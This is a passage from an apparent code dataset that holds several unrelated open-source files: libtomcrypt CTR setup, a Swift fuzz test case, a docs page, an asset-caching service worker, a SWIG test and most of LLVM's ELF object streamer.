keylen,\n int num_rounds, int ctr_mode,\n symmetric_CTR *ctr)\n{\n int x, err;\n\n LTC_ARGCHK(IV != NULL);\n LTC_ARGCHK(key != NULL);\n LTC_ARGCHK(ctr != NULL);\n\n /* bad param? */\n if ((err = cipher_is_valid(cipher)) != CRYPT_OK) {\n return err;\n }\n\n /* ctrlen == counter width */\n ctr->ctrlen = (ctr_mode & 255) ? (ctr_mode & 255) : cipher_descriptor[cipher].block_length;\n if (ctr->ctrlen > cipher_descriptor[cipher].block_length) {\n return CRYPT_INVALID_ARG;\n }\n\n if ((ctr_mode & 0x1000) == CTR_COUNTER_BIG_ENDIAN) {\n ctr->ctrlen = cipher_descriptor[cipher].block_length - ctr->ctrlen;\n }\n\n /* setup cipher */\n if ((err = cipher_descriptor[cipher].setup(key, keylen, num_rounds, &ctr->key)) != CRYPT_OK) {\n return err;\n }\n\n /* copy ctr */\n ctr->blocklen = cipher_descriptor[cipher].block_length;\n ctr->cipher = cipher;\n ctr->padlen = 0;\n ctr->mode = ctr_mode & 0x1000;\n for (x = 0; x < ctr->blocklen; x++) {\n ctr->ctr[x] = IV[x];\n }\n\n if (ctr_mode & LTC_CTR_RFC3686) {\n /* increment the IV as per RFC 3686 */\n if (ctr->mode == CTR_COUNTER_LITTLE_ENDIAN) {\n /* little-endian */\n for (x = 0; x < ctr->ctrlen; x++) {\n ctr->ctr[x] = (ctr->ctr[x] + (unsigned char)1) & (unsigned char)255;\n if (ctr->ctr[x] != (unsigned char)0) {\n break;\n }\n }\n } else {\n /* big-endian */\n for (x = ctr->blocklen-1; x >= ctr->ctrlen; x--) {\n ctr->ctr[x] = (ctr->ctr[x] + (unsigned char)1) & (unsigned char)255;\n if (ctr->ctr[x] != (unsigned char)0) {\n break;\n }\n }\n }\n }\n\n return cipher_descriptor[ctr->cipher].ecb_encrypt(ctr->ctr, ctr->pad, &ctr->key);\n}\n\n#endif\n"} {"text": "// Distributed under the terms of the MIT license\n// Test case submitted to project by https://github.com/practicalswift (practicalswift)\n// Test case found by fuzzing\n\n{\nlet end = [ {\nenum k {\nfunc g {\nstruct d\n{\nclass A {\nclass\ncase ,\n{\n( {\n{\n{\n[ {\n{\n{\n{ {\n{\n{\n( [ {\na {\n"} {"text": "---\nlayout: docs\ntitle: \"Bundles\"\nposition: 3\n---\n\n# Bundles\n\nHaving many small and independent subprojects is great but in practice everyone wants to use certain combination of dependencies and does not\nwant to worry about many small dependencies. There are \"bundles\" for such use case - either the ones provided by this project or custom\nones created by the user.\n\nOne of the main decisions (dependency-wise) is to choose the effect data type. This project does not force you into specific data type and\nsupports both [ZIO](https://zio.dev) and [Monix](https://monix.io) out-of-the-box. So there are two main bundles one for each effect data\ntype that also bring in http4s server/client (Blaze), PureConfig and Micrometer.\n\nUnless you have specific needs take one of these bundles and write your server application using them - it will be the simplest way.\n"} {"text": "// vim:ts=4:sw=4:et\nvar version = 'v2/';\n\nvar assets = {\n '/non-critical.min.css': true,\n '/Pics/openlogo-50.svg': true,\n '/jquery.min.js': true,\n '/url-search-params.min.js': true,\n '/loadCSS.min.js': true,\n '/cssrelpreload.min.js': true,\n '/instant.min.js?17': true,\n // Only cache fonts in woff2 format, all browsers which support service\n // workers also support woff2.\n '/Inconsolata.woff2': true,\n '/Roboto-Regular.woff2': true,\n '/Roboto-Bold.woff2': true,\n '/placeholder.html?3': true\n};\n\nvar entityMap = {\n \"&\": \"&amp;\",\n \"<\": \"&lt;\",\n \">\": \"&gt;\",\n '\"': '&quot;',\n \"'\": '&#39;',\n \"/\": '&#x2F;'\n};\n\nfunction escapeHtml(string) {\n return String(string).replace(/[&<>\"'\\/]/g, function (s) {\n return entityMap[s];\n });\n}\n\nself.addEventListener(\"install\", function(event) {\n event.waitUntil(\n caches\n .open(version + 'assets')\n .then(function(cache) {\n return cache.addAll(Object.keys(assets));\n })\n );\n});\n\nself.addEventListener(\"activate\", function(event) {\n // The new version of the service worker is activated, superseding any old\n // version. Go through the cache and delete all assets whose key doesn’t\n // start with the current version prefix.\n event.waitUntil(\n caches\n .keys()\n .then(function(keys) {\n return Promise.all(\n keys\n .filter(function(key) {\n return !key.startsWith(version);\n })\n .map(function(key) {\n return caches['delete'](key);\n })\n );\n })\n );\n});\n\nself.addEventListener(\"fetch\", function(event) {\n if (event.request.method !== 'GET') {\n return;\n }\n var u = new URL(event.request.url);\n if (assets[u.pathname + u.search] === true) {\n event.respondWith(caches.match(event.request).then(function(response) {\n // Defense in depth: in case the cache request fails, fall back to\n // fetching the request.\n return response || fetch(event.request);\n }));\n return;\n }\n if (u.pathname === '/search') {\n event.respondWith(caches.match('/placeholder.html?3').then(function(response) {\n if (!response) {\n return fetch(event.request);\n }\n\t var q = u.searchParams.get('q')\n if (q === undefined) {\n return response;\n }\n\n // HTML escape q so that it is safe to string-replace into the\n // placeholder document.\n q = escapeHtml(q);\n\n var init = {\n status: response.status,\n statusText: response.statusText,\n headers: {},\n };\n response.headers.forEach(function(v, k) {\n init.headers[k] = v;\n });\n return response.text().then(function(body) {\n var replaced = body.replace(/%q%/g, q);\n return new Response(replaced, init);\n });\n }));\n return;\n }\n return;\n});\n"} {"text": "@set CC=\n@set CF=\n@set CFI=\n@set CFX=\n@set CFASM=\n@set LF=\n@set BNAME=\n@set BLIB=\n@set BDLL=\n@set BECHO=\n"} {"text": "%module protected_rename\n\n/**\n * We should be able to rename Foo::y() to 'x' since the protected\n * member variable of the same name is not wrapped. Thus this test\n * case shouldn't generate any warnings.\n */\n\n%rename(x) Foo::y();\n\n%inline %{\nclass Foo {\nprotected:\n int x;\npublic:\n void y() {}\n};\n\n%}\n"} {"text": "//===- lib/MC/MCELFStreamer.cpp - ELF Object Output -----------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This file assembles .s files and emits ELF .o object files.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"llvm/MC/MCELFStreamer.h\"\n#include \"llvm/ADT/SmallString.h\"\n#include \"llvm/ADT/SmallVector.h\"\n#include \"llvm/BinaryFormat/ELF.h\"\n#include \"llvm/MC/MCAsmBackend.h\"\n#include \"llvm/MC/MCAsmInfo.h\"\n#include \"llvm/MC/MCAssembler.h\"\n#include \"llvm/MC/MCCodeEmitter.h\"\n#include \"llvm/MC/MCContext.h\"\n#include \"llvm/MC/MCExpr.h\"\n#include \"llvm/MC/MCFixup.h\"\n#include \"llvm/MC/MCFragment.h\"\n#include \"llvm/MC/MCObjectFileInfo.h\"\n#include \"llvm/MC/MCObjectWriter.h\"\n#include \"llvm/MC/MCSection.h\"\n#include \"llvm/MC/MCSectionELF.h\"\n#include \"llvm/MC/MCStreamer.h\"\n#include \"llvm/MC/MCSymbol.h\"\n#include \"llvm/MC/MCSymbolELF.h\"\n#include \"llvm/Support/Casting.h\"\n#include \"llvm/Support/ErrorHandling.h\"\n#include \"llvm/Support/TargetRegistry.h\"\n#include \"llvm/Support/raw_ostream.h\"\n#include <cassert>\n#include <cstdint>\n\nusing namespace llvm;\n\nMCELFStreamer::MCELFStreamer(MCContext &Context,\n std::unique_ptr<MCAsmBackend> TAB,\n std::unique_ptr<MCObjectWriter> OW,\n std::unique_ptr<MCCodeEmitter> Emitter)\n : MCObjectStreamer(Context, std::move(TAB), std::move(OW),\n std::move(Emitter)) {}\n\nbool MCELFStreamer::isBundleLocked() const {\n return getCurrentSectionOnly()->isBundleLocked();\n}\n\nvoid MCELFStreamer::mergeFragment(MCDataFragment *DF,\n MCDataFragment *EF) {\n MCAssembler &Assembler = getAssembler();\n\n if (Assembler.isBundlingEnabled() && Assembler.getRelaxAll()) {\n uint64_t FSize = EF->getContents().size();\n\n if (FSize > Assembler.getBundleAlignSize())\n report_fatal_error(\"Fragment can't be larger than a bundle size\");\n\n uint64_t RequiredBundlePadding = computeBundlePadding(\n Assembler, EF, DF->getContents().size(), FSize);\n\n if (RequiredBundlePadding > UINT8_MAX)\n report_fatal_error(\"Padding cannot exceed 255 bytes\");\n\n if (RequiredBundlePadding > 0) {\n SmallString<256> Code;\n raw_svector_ostream VecOS(Code);\n EF->setBundlePadding(static_cast<uint8_t>(RequiredBundlePadding));\n Assembler.writeFragmentPadding(VecOS, *EF, FSize);\n\n DF->getContents().append(Code.begin(), Code.end());\n }\n }\n\n flushPendingLabels(DF, DF->getContents().size());\n\n for (unsigned i = 0, e = EF->getFixups().size(); i != e; ++i) {\n EF->getFixups()[i].setOffset(EF->getFixups()[i].getOffset() +\n DF->getContents().size());\n DF->getFixups().push_back(EF->getFixups()[i]);\n }\n if (DF->getSubtargetInfo() == nullptr && EF->getSubtargetInfo())\n DF->setHasInstructions(*EF->getSubtargetInfo());\n DF->getContents().append(EF->getContents().begin(), EF->getContents().end());\n}\n\nvoid MCELFStreamer::InitSections(bool NoExecStack) {\n MCContext &Ctx = getContext();\n SwitchSection(Ctx.getObjectFileInfo()->getTextSection());\n EmitCodeAlignment(4);\n\n if (NoExecStack)\n SwitchSection(Ctx.getAsmInfo()->getNonexecutableStackSection(Ctx));\n}\n\nvoid MCELFStreamer::EmitLabel(MCSymbol *S, SMLoc Loc) {\n auto *Symbol = cast<MCSymbolELF>(S);\n MCObjectStreamer::EmitLabel(Symbol, Loc);\n\n const MCSectionELF &Section =\n static_cast<const MCSectionELF &>(*getCurrentSectionOnly());\n if (Section.getFlags() & ELF::SHF_TLS)\n Symbol->setType(ELF::STT_TLS);\n}\n\nvoid MCELFStreamer::EmitLabel(MCSymbol *S, SMLoc Loc, MCFragment *F) {\n auto *Symbol = cast<MCSymbolELF>(S);\n MCObjectStreamer::EmitLabel(Symbol, Loc, F);\n\n const MCSectionELF &Section =\n static_cast<const MCSectionELF &>(*getCurrentSectionOnly());\n if (Section.getFlags() & ELF::SHF_TLS)\n Symbol->setType(ELF::STT_TLS);\n}\n\nvoid MCELFStreamer::EmitAssemblerFlag(MCAssemblerFlag Flag) {\n // Let the target do whatever target specific stuff it needs to do.\n getAssembler().getBackend().handleAssemblerFlag(Flag);\n // Do any generic stuff we need to do.\n switch (Flag) {\n case MCAF_SyntaxUnified: return; // no-op here.\n case MCAF_Code16: return; // Change parsing mode; no-op here.\n case MCAF_Code32: return; // Change parsing mode; no-op here.\n case MCAF_Code64: return; // Change parsing mode; no-op here.\n case MCAF_SubsectionsViaSymbols:\n getAssembler().setSubsectionsViaSymbols(true);\n return;\n }\n\n llvm_unreachable(\"invalid assembler flag!\");\n}\n\n// If bundle alignment is used and there are any instructions in the section, it\n// needs to be aligned to at least the bundle size.\nstatic void setSectionAlignmentForBundling(const MCAssembler &Assembler,\n MCSection *Section) {\n if (Section && Assembler.isBundlingEnabled() && Section->hasInstructions() &&\n Section->getAlignment() < Assembler.getBundleAlignSize())\n Section->setAlignment(Assembler.getBundleAlignSize());\n}\n\nvoid MCELFStreamer::ChangeSection(MCSection *Section,\n const MCExpr *Subsection) {\n MCSection *CurSection = getCurrentSectionOnly();\n if (CurSection && isBundleLocked())\n report_fatal_error(\"Unterminated .bundle_lock when changing a section\");\n\n MCAssembler &Asm = getAssembler();\n // Ensure the previous section gets aligned if necessary.\n setSectionAlignmentForBundling(Asm, CurSection);\n auto *SectionELF = static_cast<const MCSectionELF *>(Section);\n const MCSymbol *Grp = SectionELF->getGroup();\n if (Grp)\n Asm.registerSymbol(*Grp);\n\n changeSectionImpl(Section, Subsection);\n Asm.registerSymbol(*Section->getBeginSymbol());\n}\n\nvoid MCELFStreamer::EmitWeakReference(MCSymbol *Alias, const MCSymbol *Symbol) {\n getAssembler().registerSymbol(*Symbol);\n const MCExpr *Value = MCSymbolRefExpr::create(\n Symbol, MCSymbolRefExpr::VK_WEAKREF, getContext());\n Alias->setVariableValue(Value);\n}\n\n// When GNU as encounters more than one .type declaration for an object it seems\n// to use a mechanism similar to the one below to decide which type is actually\n// used in the object file. The greater of T1 and T2 is selected based on the\n// following ordering:\n// STT_NOTYPE < STT_OBJECT < STT_FUNC < STT_GNU_IFUNC < STT_TLS < anything else\n// If neither T1 < T2 nor T2 < T1 according to this ordering, use T2 (the user\n// provided type).\nstatic unsigned CombineSymbolTypes(unsigned T1, unsigned T2) {\n for (unsigned Type : {ELF::STT_NOTYPE, ELF::STT_OBJECT, ELF::STT_FUNC,\n ELF::STT_GNU_IFUNC, ELF::STT_TLS}) {\n if (T1 == Type)\n return T2;\n if (T2 == Type)\n return T1;\n }\n\n return T2;\n}\n\nbool MCELFStreamer::EmitSymbolAttribute(MCSymbol *S, MCSymbolAttr Attribute) {\n auto *Symbol = cast<MCSymbolELF>(S);\n\n // Adding a symbol attribute always introduces the symbol, note that an\n // important side effect of calling registerSymbol here is to register\n // the symbol with the assembler.\n getAssembler().registerSymbol(*Symbol);\n\n // The implementation of symbol attributes is designed to match 'as', but it\n // leaves much to desired. It doesn't really make sense to arbitrarily add and\n // remove flags, but 'as' allows this (in particular, see .desc).\n //\n // In the future it might be worth trying to make these operations more well\n // defined.\n switch (Attribute) {\n case MCSA_Cold:\n case MCSA_LazyReference:\n case MCSA_Reference:\n case MCSA_SymbolResolver:\n case MCSA_PrivateExtern:\n case MCSA_WeakDefinition:\n case MCSA_WeakDefAutoPrivate:\n case MCSA_Invalid:\n case MCSA_IndirectSymbol:\n return false;\n\n case MCSA_NoDeadStrip:\n // Ignore for now.\n break;\n\n case MCSA_ELF_TypeGnuUniqueObject:\n Symbol->setType(CombineSymbolTypes(Symbol->getType(), ELF::STT_OBJECT));\n Symbol->setBinding(ELF::STB_GNU_UNIQUE);\n Symbol->setExternal(true);\n break;\n\n case MCSA_Global:\n Symbol->setBinding(ELF::STB_GLOBAL);\n Symbol->setExternal(true);\n break;\n\n case MCSA_WeakReference:\n case MCSA_Weak:\n Symbol->setBinding(ELF::STB_WEAK);\n Symbol->setExternal(true);\n break;\n\n case MCSA_Local:\n Symbol->setBinding(ELF::STB_LOCAL);\n Symbol->setExternal(false);\n break;\n\n case MCSA_ELF_TypeFunction:\n Symbol->setType(CombineSymbolTypes(Symbol->getType(), ELF::STT_FUNC));\n break;\n\n case MCSA_ELF_TypeIndFunction:\n Symbol->setType(CombineSymbolTypes(Symbol->getType(), ELF::STT_GNU_IFUNC));\n break;\n\n case MCSA_ELF_TypeObject:\n Symbol->setType(CombineSymbolTypes(Symbol->getType(), ELF::STT_OBJECT));\n break;\n\n case MCSA_ELF_TypeTLS:\n Symbol->setType(CombineSymbolTypes(Symbol->getType(), ELF::STT_TLS));\n break;\n\n case MCSA_ELF_TypeCommon:\n // TODO: Emit these as a common symbol.\n Symbol->setType(CombineSymbolTypes(Symbol->getType(), ELF::STT_OBJECT));\n break;\n\n case MCSA_ELF_TypeNoType:\n Symbol->setType(CombineSymbolTypes(Symbol->getType(), ELF::STT_NOTYPE));\n break;\n\n case MCSA_Protected:\n Symbol->setVisibility(ELF::STV_PROTECTED);\n break;\n\n case MCSA_Hidden:\n Symbol->setVisibility(ELF::STV_HIDDEN);\n break;\n\n case MCSA_Internal:\n Symbol->setVisibility(ELF::STV_INTERNAL);\n break;\n\n case MCSA_AltEntry:\n llvm_unreachable(\"ELF doesn't support the .alt_entry attribute\");\n }\n\n return true;\n}\n\nvoid MCELFStreamer::EmitCommonSymbol(MCSymbol *S, uint64_t Size,\n unsigned ByteAlignment) {\n auto *Symbol = cast<MCSymbolELF>(S);\n getAssembler().registerSymbol(*Symbol);\n\n if (!Symbol->isBindingSet()) {\n Symbol->setBinding(ELF::STB_GLOBAL);\n Symbol->setExternal(true);\n }\n\n Symbol->setType(ELF::STT_OBJECT);\n\n if (Symbol->getBinding() == ELF::STB_LOCAL) {\n MCSection &Section = *getAssembler().getContext().getELFSection(\n \".bss\", ELF::SHT_NOBITS, ELF::SHF_WRITE | ELF::SHF_ALLOC);\n MCSectionSubPair P = getCurrentSection();\n SwitchSection(&Section);\n\n EmitValueToAlignment(ByteAlignment, 0, 1, 0);\n EmitLabel(Symbol);\n EmitZeros(Size);\n\n // Update the maximum alignment of the section if necessary.\n if (ByteAlignment > Section.getAlignment())\n Section.setAlignment(ByteAlignment);\n\n SwitchSection(P.first, P.second);\n } else {\n if(Symbol->declareCommon(Size, ByteAlignment))\n report_fatal_error(\"Symbol: \" + Symbol->getName() +\n \" redeclared as different type\");\n }\n\n cast<MCSymbolELF>(Symbol)\n ->setSize(MCConstantExpr::create(Size, getContext()));\n}\n\nvoid MCELFStreamer::emitELFSize(MCSymbol *Symbol, const MCExpr *Value) {\n cast<MCSymbolELF>(Symbol)->setSize(Value);\n}\n\nvoid MCELFStreamer::emitELFSymverDirective(StringRef AliasName,\n const MCSymbol *Aliasee) {\n getAssembler().Symvers.push_back({AliasName, Aliasee});\n}\n\nvoid MCELFStreamer::EmitLocalCommonSymbol(MCSymbol *S, uint64_t Size,\n unsigned ByteAlignment) {\n auto *Symbol = cast<MCSymbolELF>(S);\n // FIXME: Should this be caught and done earlier?\n getAssembler().registerSymbol(*Symbol);\n Symbol->setBinding(ELF::STB_LOCAL);\n Symbol->setExternal(false);\n EmitCommonSymbol(Symbol, Size, ByteAlignment);\n}\n\nvoid MCELFStreamer::EmitValueImpl(const MCExpr *Value, unsigned Size,\n SMLoc Loc) {\n if (isBundleLocked())\n report_fatal_error(\"Emitting values inside a locked bundle is forbidden\");\n fixSymbolsInTLSFixups(Value);\n MCObjectStreamer::EmitValueImpl(Value, Size, Loc);\n}\n\nvoid MCELFStreamer::EmitValueToAlignment(unsigned ByteAlignment,\n int64_t Value,\n unsigned ValueSize,\n unsigned MaxBytesToEmit) {\n if (isBundleLocked())\n report_fatal_error(\"Emitting values inside a locked bundle is forbidden\");\n MCObjectStreamer::EmitValueToAlignment(ByteAlignment, Value,\n ValueSize, MaxBytesToEmit);\n}\n\nvoid MCELFStreamer::emitCGProfileEntry(const MCSymbolRefExpr *From,\n const MCSymbolRefExpr *To,\n uint64_t Count) {\n getAssembler().CGProfile.push_back({From, To, Count});\n}\n\nvoid MCELFStreamer::EmitIdent(StringRef IdentString) {\n MCSection *Comment = getAssembler().getContext().getELFSection(\n \".comment\", ELF::SHT_PROGBITS, ELF::SHF_MERGE | ELF::SHF_STRINGS, 1, \"\");\n PushSection();\n SwitchSection(Comment);\n if (!SeenIdent) {\n EmitIntValue(0, 1);\n SeenIdent = true;\n }\n EmitBytes(IdentString);\n EmitIntValue(0, 1);\n PopSection();\n}\n\nvoid MCELFStreamer::fixSymbolsInTLSFixups(const MCExpr *expr) {\n switch (expr->getKind()) {\n case MCExpr::Target:\n cast<MCTargetExpr>(expr)->fixELFSymbolsInTLSFixups(getAssembler());\n break;\n case MCExpr::Constant:\n break;\n\n case MCExpr::Binary: {\n const MCBinaryExpr *be = cast<MCBinaryExpr>(expr);\n fixSymbolsInTLSFixups(be->getLHS());\n fixSymbolsInTLSFixups(be->getRHS());\n break;\n }\n\n case MCExpr::SymbolRef: {\n const MCSymbolRefExpr &symRef = *cast<MCSymbolRefExpr>(expr);\n switch (symRef.getKind()) {\n default:\n return;\n case MCSymbolRefExpr::VK_GOTTPOFF:\n case MCSymbolRefExpr::VK_INDNTPOFF:\n case MCSymbolRefExpr::VK_NTPOFF:\n case MCSymbolRefExpr::VK_GOTNTPOFF:\n case MCSymbolRefExpr::VK_TLSCALL:\n case MCSymbolRefExpr::VK_TLSDESC:\n case MCSymbolRefExpr::VK_TLSGD:\n case MCSymbolRefExpr::VK_TLSLD:\n case MCSymbolRefExpr::VK_TLSLDM:\n case MCSymbolRefExpr::VK_TPOFF:\n case MCSymbolRefExpr::VK_TPREL:\n case MCSymbolRefExpr::VK_DTPOFF:\n case MCSymbolRefExpr::VK_DTPREL:\n case MCSymbolRefExpr::VK_PPC_DTPMOD:\n case MCSymbolRefExpr::VK_PPC_TPREL_LO:\n case MCSymbolRefExpr::VK_PPC_TPREL_HI:\n case MCSymbolRefExpr::VK_PPC_TPREL_HA:\n case MCSymbolRefExpr::VK_PPC_TPREL_HIGH:\n case MCSymbolRefExpr::VK_PPC_TPREL_HIGHA:\n case MCSymbolRefExpr::VK_PPC_TPREL_HIGHER:\n case MCSymbolRefExpr::VK_PPC_TPREL_HIGHERA:\n case MCSymbolRefExpr::VK_PPC_TPREL_HIGHEST:\n case MCSymbolRefExpr::VK_PPC_TPREL_HIGHESTA:\n case MCSymbolRefExpr::VK_PPC_DTPREL_LO:\n case MCSymbolRefExpr::VK_PPC_DTPREL_HI:\n case MCSymbolRefExpr::VK_PPC_DTPREL_HA:\n case MCSymbolRefExpr::VK_PPC_DTPREL_HIGH:\n case MCSymbolRefExpr::VK_PPC_DTPREL_HIGHA:\n case MCSymbolRefExpr::VK_PPC_DTPREL_HIGHER:\n case MCSymbolRefExpr::VK_PPC_DTPREL_HIGHERA:\n case MCSymbolRefExpr::VK_PPC_DTPREL_HIGHEST:\n case MCSymbolRefExpr::VK_PPC_DTPREL_HIGHESTA:\n case MCSymbolRefExpr::VK_PPC_GOT_TPREL:\n case MCSymbolRefExpr::VK_PPC_GOT_TPREL_LO:\n case MCSymbolRefExpr::VK_PPC_GOT_TPREL_HI:\n case MCSymbolRefExpr::VK_PPC_GOT_TPREL_HA:\n case MCSymbolRefExpr::VK_PPC_GOT_DTPREL:\n case MCSymbolRefExpr::VK_PPC_GOT_DTPREL_LO:\n case MCSymbolRefExpr::VK_PPC_GOT_DTPREL_HI:\n case MCSymbolRefExpr::VK_PPC_GOT_DTPREL_HA:\n case MCSymbolRefExpr::VK_PPC_TLS:\n case MCSymbolRefExpr::VK_PPC_GOT_TLSGD:\n case MCSymbolRefExpr::VK_PPC_GOT_TLSGD_LO:\n case MCSymbolRefExpr::VK_PPC_GOT_TLSGD_HI:\n case MCSymbolRefExpr::VK_PPC_GOT_TLSGD_HA:\n case MCSymbolRefExpr::VK_PPC_TLSGD:\n case MCSymbolRefExpr::VK_PPC_GOT_TLSLD:\n case MCSymbolRefExpr::VK_PPC_GOT_TLSLD_LO:\n case MCSymbolRefExpr::VK_PPC_GOT_TLSLD_HI:\n case MCSymbolRefExpr::VK_PPC_GOT_TLSLD_HA:\n case MCSymbolRefExpr::VK_PPC_TLSLD:\n break;\n }\n getAssembler().registerSymbol(symRef.getSymbol());\n cast<MCSymbolELF>(symRef.getSymbol()).setType(ELF::STT_TLS);\n break;\n }\n\n case MCExpr::Unary:\n fixSymbolsInTLSFixups(cast<MCUnaryExpr>(expr)->getSubExpr());\n break;\n }\n}\n\nvoid MCELFStreamer::finalizeCGProfileEntry(const MCSymbolRefExpr *&SRE) {\n const MCSymbol *S = &SRE->getSymbol();\n if (S->isTemporary()) {\n if (!S->isInSection()) {\n getContext().reportError(\n SRE->getLoc(), Twine(\"Reference to undefined temporary symbol \") +\n \"`\" + S->getName() + \"`\");\n return;\n }\n S = S->getSection().getBeginSymbol();\n S->setUsedInReloc();\n SRE =\n MCSymbolRefExpr::create(S, SRE->getKind(), getContext(), SRE->getLoc());\n return;\n }\n // Not a temporary, referece it as a weak undefined.\n bool Created;\n getAssembler().registerSymbol(*S, &Created);\n if (Created) {\n cast<MCSymbolELF>(S)->setBinding(ELF::STB_WEAK);\n cast<MCSymbolELF>(S)->setExternal(true);\n }\n}\n\nvoid MCELFStreamer::finalizeCGProfile() {\n for (MCAssembler::CGProfileEntry &E : getAssembler().CGProfile) {\n finalizeCGProfileEntry(E.From);\n finalizeCGProfileEntry(E.To);\n }\n}\n\nvoid MCELFStreamer::EmitInstToFragment(const MCInst &Inst,\n const MCSubtargetInfo &STI) {\n this->MCObjectStreamer::EmitInstToFragment(Inst, STI);\n MCRelaxableFragment &F = *cast<MCRelaxableFragment>(getCurrentFragment());\n\n for (unsigned i = 0, e = F.getFixups().size(); i != e; ++i)\n fixSymbolsInTLSFixups(F.getFixups()[i].getValue());\n}\n\n// A fragment can only have one Subtarget, and when bundling is enabled we\n// sometimes need to use the same fragment. We give an error if there\n// are conflicting Subtargets.\nstatic void CheckBundleSubtargets(const MCSubtargetInfo *OldSTI,\n const MCSubtargetInfo *NewSTI) {\n if (OldSTI && NewSTI && OldSTI != NewSTI)\n report_fatal_error(\"A Bundle can only have one Subtarget.\");\n}\n\nvoid MCELFStreamer::EmitInstToData(const MCInst &Inst,\n const MCSubtargetInfo &STI) {\n MCAssembler &Assembler = getAssembler();\n SmallVector<MCFixup, 4> Fixups;\n SmallString<256> Code;\n raw_svector_ostream VecOS(Code);\n Assembler.getEmitter().encodeInstruction(Inst, VecOS, Fixups, STI);\n\n for (unsigned i = 0, e = Fixups.size(); i != e; ++i)\n fixSymbolsInTLSFixups(Fixups[i].getValue());\n\n // There are several possibilities here:\n //\n // If bundling is disabled, append the encoded instruction to the current data\n // fragment (or create a new such fragment if the current fragment is not a\n // data fragment, or the Subtarget has changed).\n //\n // If bundling is enabled:\n // - If we're not in a bundle-locked group, emit the instruction into a\n // fragment of its own. If there are no fixups registered for the\n // instruction, emit a MCCompactEncodedInstFragment. Otherwise, emit a\n // MCDataFragment.\n // - If we're in a bundle-locked group, append the instruction to the current\n // data fragment because we want all the instructions in a group to get into\n // the same fragment. Be careful not to do that for the first instruction in\n // the group, though.\n MCDataFragment *DF;\n\n if (Assembler.isBundlingEnabled()) {\n MCSection &Sec = *getCurrentSectionOnly();\n if (Assembler.getRelaxAll() && isBundleLocked()) {\n // If the -mc-relax-all flag is used and we are bundle-locked, we re-use\n // the current bundle group.\n DF = BundleGroups.back();\n CheckBundleSubtargets(DF->getSubtargetInfo(), &STI);\n }\n else if (Assembler.getRelaxAll() && !isBundleLocked())\n // When not in a bundle-locked group and the -mc-relax-all flag is used,\n // we create a new temporary fragment which will be later merged into\n // the current fragment.\n DF = new MCDataFragment();\n else if (isBundleLocked() && !Sec.isBundleGroupBeforeFirstInst()) {\n // If we are bundle-locked, we re-use the current fragment.\n // The bundle-locking directive ensures this is a new data fragment.\n DF = cast<MCDataFragment>(getCurrentFragment());\n CheckBundleSubtargets(DF->getSubtargetInfo(), &STI);\n }\n else if (!isBundleLocked() && Fixups.size() == 0) {\n // Optimize memory usage by emitting the instruction to a\n // MCCompactEncodedInstFragment when not in a bundle-locked group and\n // there are no fixups registered.\n MCCompactEncodedInstFragment *CEIF = new MCCompactEncodedInstFragment();\n insert(CEIF);\n CEIF->getContents().append(Code.begin(), Code.end());\n CEIF->setHasInstructions(STI);\n return;\n } else {\n DF = new MCDataFragment();\n insert(DF);\n }\n if (Sec.getBundleLockState() == MCSection::BundleLockedAlignToEnd) {\n // If this fragment is for a group marked \"align_to_end\", set a flag\n // in the fragment. This can happen after the fragment has already been\n // created if there are nested bundle_align groups and an inner one\n // is the one marked align_to_end.\n DF->setAlignToBundleEnd(true);\n }\n\n // We're now emitting an instruction in a bundle group, so this flag has\n // to be turned off.\n Sec.setBundleGroupBeforeFirstInst(false);\n } else {\n DF = getOrCreateDataFragment(&STI);\n }\n\n // Add the fixups and data.\n for (unsigned i = 0, e = Fixups.size(); i != e; ++i) {\n Fixups[i].setOffset(Fixups[i].getOffset() + DF->getContents().size());\n DF->getFixups().push_back(Fixups[i]);\n }\n DF->setHasInstructions(STI);\n DF->getContents().append(Code.begin(), Code.end());\n\n if (Assembler.isBundlingEnabled() && Assembler.getRelaxAll()) {\n if (!isBundleLocked()) {\n mergeFragment(getOrCreateDataFragment(&STI), DF);\n delete DF;\n }\n }\n}\n\nvoid MCELFStreamer::EmitBundleAlignMode(unsigned AlignPow2) {\n assert(AlignPow2 <= 30 && \"Invalid bundle alignment\");\n MCAssembler &Assembler = getAssembler();\n if (AlignPow2 > 0 && (Assembler.getBundleAlignSize() == 0 ||\n Assembler.getBundleAlignSize() == 1U << AlignPow2))\n Assembler.setBundleAlignSize(1U << AlignPow2);\n else\n report_fatal_error(\".bundle_align_mode cannot be changed once set\");\n}\n\nvoid MCELFStreamer::EmitBundleLock(bool AlignToEnd) {\n MCSection &Sec = *getCurrentSectionOnly();\n\n // Sanity checks\n //\n if (!getAssembler().isBundlingEnabled())\n report_fatal_error(\".bundle_lock forbidden when bundling is disabled\");\n\n if (!isBundleLocked())\n Sec.setBundleGroupBeforeFirstInst(true);\n\n if (getAssembler().getRelaxAll() && !isBundleLocked()) {\n // TODO: drop the lock state and set directly in the fragment\n MCDataFragment *DF = new MCDataFragment();\n BundleGroups.push_back(DF);\n }\n\n Sec.setBundleLockState(AlignToEnd ? MCSection::BundleLockedAlignToEnd\n : MCSection::BundleLocked);\n}\n\nvoid MCELFStreamer::EmitBundleUnlock() {\n MCSection &Sec = *getCurrentSectionOnly();\n\n // Sanity checks\n if (!getAssembler().isBundlingEnabled())\n report_fatal_error(\".bundle_unlock forbidden when bundling is disabled\");\n else if (!isBundleLocked())\n report_fatal_error(\".bundle_unlock without matching lock\");\n else if (Sec.isBundleGroupBeforeFirstInst())\n report_fatal_error(\"Empty bundle-locked group is forbidden\");\n\n // When the -mc-relax-all flag is used, we emit instructions to fragments\n // stored on a stack. When the bundle unlock is emitted, we pop a fragment\n // from the stack a merge it to the one below.\n if (getAssembler().getRelaxAll()) {\n assert(!BundleGroups.empty() && \"There are no bundle groups\");\n MCDataFragment *DF = BundleGroups.back();\n\n // FIXME: Use BundleGroups to track the lock state instead.\n Sec.setBundleLockState(MCSection::NotBundleLocked);\n\n // FIXME: Use more separate fragments for nested groups.\n if (!isBundleLocked()) {\n mergeFragment(getOrCreateDataFragment(DF->getSubtargetInfo()), DF);\n BundleGroups.pop_back();\n delete DF;\n }\n\n if (Sec.getBundleLockState() != MCSection::BundleLockedAlignToEnd)\n getOrCreateDataFragment()->setAlignToBundleEnd(false);\n } else\n Sec.setBundleLockState(MCSection::NotBundleLocked);\n}\n\nvoid 